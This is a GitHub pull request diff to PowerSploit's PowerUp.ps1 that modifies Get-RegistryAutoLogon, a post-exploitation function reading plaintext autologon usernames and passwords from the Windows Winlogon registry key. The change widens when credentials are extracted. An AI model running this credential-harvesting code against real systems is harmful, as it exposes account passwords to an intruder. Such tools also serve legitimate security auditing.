Skip to content
This repository has been archived by the owner on Jan 21, 2021. It is now read-only.

Updated Get-RegistryAutoLogon #359

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 3 additions & 9 deletions Privesc/PowerUp.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -2754,33 +2754,27 @@ function Get-RegistryAlwaysInstallElevated {
function Get-RegistryAutoLogon {
<#
.SYNOPSIS

Finds any autologon credentials left in the registry.

.DESCRIPTION

Checks if any autologon accounts/credentials are set in a number of registry locations.
If they are, the credentials are extracted and returned as a custom PSObject.

.EXAMPLE

PS C:\> Get-RegistryAutoLogon

Finds any autologon credentials left in the registry.

.LINK

https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb
#>

[CmdletBinding()]
Param()

$AutoAdminLogon = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -ErrorAction SilentlyContinue)
$AutoAdminLogonDefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -ErrorAction SilentlyContinue).DefaultPassword
$AutoAdminLogonAltDefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultPassword -ErrorAction SilentlyContinue).AltDefaultPassword

Write-Verbose "AutoAdminLogon key: $($AutoAdminLogon.AutoAdminLogon)"

if ($AutoAdminLogon -and ($AutoAdminLogon.AutoAdminLogon -ne 0)) {
if (($AutoAdminLogon -and ($AutoAdminLogon.AutoAdminLogon -ne 0)) -or $AutoAdminLogonDefaultPassword -or $AutoAdminLogonAltDefaultPassword) {

$DefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -ErrorAction SilentlyContinue).DefaultDomainName
$DefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName
Expand Down